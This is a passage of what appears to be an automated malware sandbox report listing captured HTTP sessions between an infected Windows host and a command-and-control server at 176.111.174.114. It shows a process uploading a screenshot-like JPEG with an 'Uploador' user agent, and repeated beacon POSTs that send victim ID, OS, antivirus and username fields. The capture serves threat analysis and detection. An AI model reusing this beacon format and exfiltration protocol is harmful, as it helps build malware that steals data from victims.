33	176.111.174.114	80	192.168.2.5	49727	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:27.633228064 CEST	1580	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.5	49902	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:15.399205923 CEST	3685	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:15.494786024 CEST	3688	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:15.494826078 CEST	3696	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:15.494951963 CEST	3704	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:15.495232105 CEST	3712	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:15.593518972 CEST	3723	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:23:15.593559027 CEST	3731	OUT	Data Raw: 00 61 69 92 72 d6 0a 0f fb 35 14 9e 11 d3 25 fb a8 e9 ff 00 02 a8 fe cb af d2 45 ff 00 69 d0 39 55 89 3b bd 4b e4 c3 c6 d3 cd 6e c9 e0 57 e9 0d f7 fc 05 aa b4 9e 0b d4 d3 e7 42 1e a3 ea 78 9a 7f 64 af ae 61 e5 f6 cc ee 7f bf 4f 4c 76 35 2c 9e 1e Data Ascii: air5%Ei9U;KnWBxdaOLv5,-{I6)9%B_OXj8Fr&zuhbnjVRcQZ!HXCSG&Dj42xOcDZc~oyG4rJc5be)
Apr 28, 2021 23:23:15.593569994 CEST	3734	OUT	Data Raw: fe 12 ff 00 ed 2f 1f f8 62 f3 fe 12 cf ec 9f ec ff 00 ed af 33 47 be 7f b6 fd 97 03 ec de 76 7c df 27 03 cb df b7 03 15 e1 65 f8 7f 63 c4 99 7b f6 7c bf bd 5f 63 97 ff 00 75 e8 df ef 97 a2 3a 73 8a be d7 86 f1 eb 9e ff 00 ba 97 da e6 e9 ff 00 5f Data Ascii: /b3Gv\|'ec{\|_cu:s_~KtrvujKw]J<S,p\|\|=RdO2W0_^[}y_`Fg>jJ!6Z+;/'d4[wf(E\|iWE@C9j_%p>Cr-
Apr 28, 2021 23:23:15.593687057 CEST	3739	OUT	Data Raw: 87 fe b5 d0 fb 70 91 e1 fe 53 7f 72 a6 86 dd e4 ea 6b d9 64 f8 23 e1 cb 81 ba d3 50 74 ff 00 be 5a aa 49 f0 02 41 b9 ed b5 68 c8 ff 00 a6 91 d1 fd 95 5e 99 5f eb 2e 5d 2f b5 63 cb 45 a8 fe f9 ab 31 c0 3a d7 7b 71 f0 2f c4 90 fc f1 98 dc 56 7d d7 Data Ascii: pSrkd#PtZIAh^_.]/cE1:{q/V}Y?q9T5T@Y<YL?'"docR]&ImVcZ(_8q]Q!RzjZFjkjg,!ImVT},D`'rtW
Apr 28, 2021 23:23:15.594034910 CEST	3742	OUT	Data Raw: 1e eb b7 11 c3 a2 f8 3e fe 79 5b ee 6d b3 6d bf f7 d7 dd af 42 d2 fe 2a eb 1a 7e d4 d2 b4 8d 3e d9 3f ba b0 6e af 59 f8 3f f1 2f c7 1a a6 a9 07 fc 4c 42 0d eb fb b8 e2 db b6 be 77 35 cf 73 7c 1d 19 4e 95 28 fd e7 bf 91 53 cb f3 6c c2 38 6a b5 a5 Data Ascii: >y[mmB*~>?nY?/LBw5s\|N(Sl8jvGxB\|%_7~5\|rt(m}\|bU'&MgFk_m>vbEX_/MWG.#pf_Rrj#{y>&\|p&fUl7k?>
Apr 28, 2021 23:23:15.594121933 CEST	3766	OUT	Data Raw: 12 5e eb de 18 f8 67 a3 78 3a c6 ed d0 db f8 6f c3 d7 37 b3 59 59 05 40 a5 62 7b fb 9b 9b 82 09 05 8f 99 33 9c b1 c1 03 0a 3d 4c 0d 4c e2 78 cb 57 56 a6 94 bb 5d fb f2 e5 6f 6f b1 cb b6 97 bd ed 65 7f 2f 1b 0c a6 18 56 e8 3b ce eb d2 dc aa ff 00 Data Ascii: ^gx:o7YY@b{3=LLxWV]ooe/V;\|rmRSdg5!ScNT~6mjJ*O/}"uZm^<z<z>9NOjHdQ'%&i%jb;S3iO1_g<

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.5	49903	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:15.571062088 CEST	3713	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	176.111.174.114	80	192.168.2.5	49903	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:15.670186996 CEST	3766	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	176.111.174.114	80	192.168.2.5	49902	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:15.792157888 CEST	3858	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.5	49904	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:15.888464928 CEST	3859	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	176.111.174.114	80	192.168.2.5	49904	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:15.990353107 CEST	3859	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.5	49906	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:16.197036028 CEST	3860	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	176.111.174.114	80	192.168.2.5	49906	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:16.297658920 CEST	3860	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:16 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.5	49907	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:16.513433933 CEST	3861	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	176.111.174.114	80	192.168.2.5	49907	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:16.617398024 CEST	3861	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:16 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49728	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
